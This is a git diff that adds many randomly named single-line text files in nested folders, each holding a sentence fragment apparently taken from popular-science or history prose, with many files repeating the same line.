diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/iehifyxiadmpfcpoostuwyh.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/iehifyxiadmpfcpoostuwyh.txt
new file mode 100644
index 0000000..d2dab11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/iehifyxiadmpfcpoostuwyh.txt
@@ -0,0 +1 @@
+might be in England. They were reluctant to let the manuscripts out of their hands even for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/jrlksebidtmmvoxjoyqmk.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/jrlksebidtmmvoxjoyqmk.txt
new file mode 100644
index 0000000..8bdac35
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/jrlksebidtmmvoxjoyqmk.txt
@@ -0,0 +1 @@
+learning. It was graced with broad avenues thirty meters wide, elegant architecture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/nvyqjowpgwwfai.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/nvyqjowpgwwfai.txt
new file mode 100644
index 0000000..92d9fbe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/nvyqjowpgwwfai.txt
@@ -0,0 +1 @@
+custom - people have taken to saying things such as, ‘An enterprise begun on a Red Tongue Day will
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/oynhgsyfytixffjgnj.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/oynhgsyfytixffjgnj.txt
new file mode 100644
index 0000000..2552f5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/oynhgsyfytixffjgnj.txt
@@ -0,0 +1 @@
+Among the terrible losses from infant and childhood diseases and such exotic illnesses as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/qlvecbqottojlcmat.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/qlvecbqottojlcmat.txt
new file mode 100644
index 0000000..0e79a18
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/qlvecbqottojlcmat.txt
@@ -0,0 +1 @@
+was a little more advanced utterly destroyed the society that was technically more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/vzpanbsuwutohymmozd.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/vzpanbsuwutohymmozd.txt
new file mode 100644
index 0000000..26f226a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/vzpanbsuwutohymmozd.txt
@@ -0,0 +1 @@
+severe restriction on the kinds of laws of nature permitted in each oscillation. If the laws of physics are not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_fsaclupwdkz.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_fsaclupwdkz.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_fsaclupwdkz.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_gmjnjmamaeawpvvsxzd.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_gmjnjmamaeawpvvsxzd.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_gmjnjmamaeawpvvsxzd.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_ijebdnnplfqrlkrqpa.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_ijebdnnplfqrlkrqpa.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_ijebdnnplfqrlkrqpa.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_ixtkzrkztqhzv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_ixtkzrkztqhzv.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_ixtkzrkztqhzv.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_kvrlaxedeogsxvavdctlx.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_kvrlaxedeogsxvavdctlx.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_kvrlaxedeogsxvavdctlx.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_lhkqewtdlvtcdhwahkjrq.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_lhkqewtdlvtcdhwahkjrq.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_lhkqewtdlvtcdhwahkjrq.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_lxjtpvghrfniqeytsn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_lxjtpvghrfniqeytsn.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_lxjtpvghrfniqeytsn.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_nioankzyn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_nioankzyn.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_nioankzyn.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_pfmnwqjqfdnafxmzdqiltci.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_pfmnwqjqfdnafxmzdqiltci.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_pfmnwqjqfdnafxmzdqiltci.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_vtsvmyecywqicdonsmxrix.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_vtsvmyecywqicdonsmxrix.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_vtsvmyecywqicdonsmxrix.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_wtdxodvftvpqqsdjsq.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_wtdxodvftvpqqsdjsq.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_wtdxodvftvpqqsdjsq.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/file_ykycxhjedgfkhwfk.txt b/big_zip/big-zip-files/folder_cvzmvludrs/file_ykycxhjedgfkhwfk.txt
new file mode 100644
index 0000000..7936bbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/file_ykycxhjedgfkhwfk.txt
@@ -0,0 +1 @@
+but slowly. We could pick them up by the end that had no flame. If you run fast with a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_afydfebfiylsjdwg.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_afydfebfiylsjdwg.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_afydfebfiylsjdwg.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bfmafebzaclw.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bfmafebzaclw.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bfmafebzaclw.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bxfonctibltuokgkcddtpvzl.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bxfonctibltuokgkcddtpvzl.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_bxfonctibltuokgkcddtpvzl.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cqciefvmqeqjrufuevn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cqciefvmqeqjrufuevn.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cqciefvmqeqjrufuevn.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cztpjosrphfxxqjxxbhuig.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cztpjosrphfxxqjxxbhuig.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_cztpjosrphfxxqjxxbhuig.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_dspmjtqhcviivtrvddw.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_dspmjtqhcviivtrvddw.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_dspmjtqhcviivtrvddw.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hjbtazngjns.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hjbtazngjns.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hjbtazngjns.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hpwmuhqjpfrcprnh.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hpwmuhqjpfrcprnh.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_hpwmuhqjpfrcprnh.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_icdfdpohedojzihuqj.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_icdfdpohedojzihuqj.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_icdfdpohedojzihuqj.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_iysbmaeugzw.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_iysbmaeugzw.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_iysbmaeugzw.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kbrbqkjyoimqiawfedzmbiz.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kbrbqkjyoimqiawfedzmbiz.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kbrbqkjyoimqiawfedzmbiz.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kiofdxaom.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kiofdxaom.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_kiofdxaom.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_plflbgxtubzzjdc.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_plflbgxtubzzjdc.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_plflbgxtubzzjdc.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_rhiaqsvuprptjnnvkr.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_rhiaqsvuprptjnnvkr.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_rhiaqsvuprptjnnvkr.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_snpbzxdzne.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_snpbzxdzne.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_snpbzxdzne.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_suuaaovybhqayzllcmrj.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_suuaaovybhqayzllcmrj.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_suuaaovybhqayzllcmrj.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_tinhkupgo.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_tinhkupgo.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_tinhkupgo.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_uldvnqewkelnfatqyyv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_uldvnqewkelnfatqyyv.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_uldvnqewkelnfatqyyv.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vjaarrtimjdjpry.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vjaarrtimjdjpry.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vjaarrtimjdjpry.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vwxymjomjpwhwn.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vwxymjomjpwhwn.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_vwxymjomjpwhwn.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wbctkiryqch.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wbctkiryqch.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wbctkiryqch.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wzxvpwfbfvz.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wzxvpwfbfvz.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_wzxvpwfbfvz.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_xqvajjbaenhyfdcsuqzktnh.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_xqvajjbaenhyfdcsuqzktnh.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_xqvajjbaenhyfdcsuqzktnh.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_zvaagqlnyjeavr.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_zvaagqlnyjeavr.txt
new file mode 100644
index 0000000..52061f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/file_zvaagqlnyjeavr.txt
@@ -0,0 +1 @@
+the spiral pattern remains.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_awuegeik.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_awuegeik.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_awuegeik.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ayqxiaqttcwertojskmmcpq.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ayqxiaqttcwertojskmmcpq.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ayqxiaqttcwertojskmmcpq.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_bwvsuliajdfvelazbqkxhxlj.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_bwvsuliajdfvelazbqkxhxlj.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_bwvsuliajdfvelazbqkxhxlj.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dosnscowyrahw.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dosnscowyrahw.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dosnscowyrahw.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dwdjvsgtgwoykw.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dwdjvsgtgwoykw.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_dwdjvsgtgwoykw.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_etpqzwrpd.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_etpqzwrpd.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_etpqzwrpd.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gnlgwcxavfatidu.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gnlgwcxavfatidu.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gnlgwcxavfatidu.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gpwsbffgtfjvcfe.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gpwsbffgtfjvcfe.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_gpwsbffgtfjvcfe.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ipvninfcslbyenpyf.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ipvninfcslbyenpyf.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ipvninfcslbyenpyf.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jmkbyqfzd.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jmkbyqfzd.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jmkbyqfzd.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jujxhkluyek.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jujxhkluyek.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_jujxhkluyek.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_lrprtcilemchqthmzqjwi.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_lrprtcilemchqthmzqjwi.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_lrprtcilemchqthmzqjwi.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_mtjdyzndrufst.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_mtjdyzndrufst.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_mtjdyzndrufst.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_nivkitsavsvb.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_nivkitsavsvb.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_nivkitsavsvb.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_qmathwpsnctiagbkyczdiacv.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_qmathwpsnctiagbkyczdiacv.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_qmathwpsnctiagbkyczdiacv.txt
@@ -0,0 +1 @@
+star, the star will be pulled a little to the right, and conversely when the planet is to the left.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ruylxzvorcyfpkohd.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/file_ruylxzvorcyfpkohd.txt
new file mode 100644
index 0000000..3b17af0
--- /dev/null
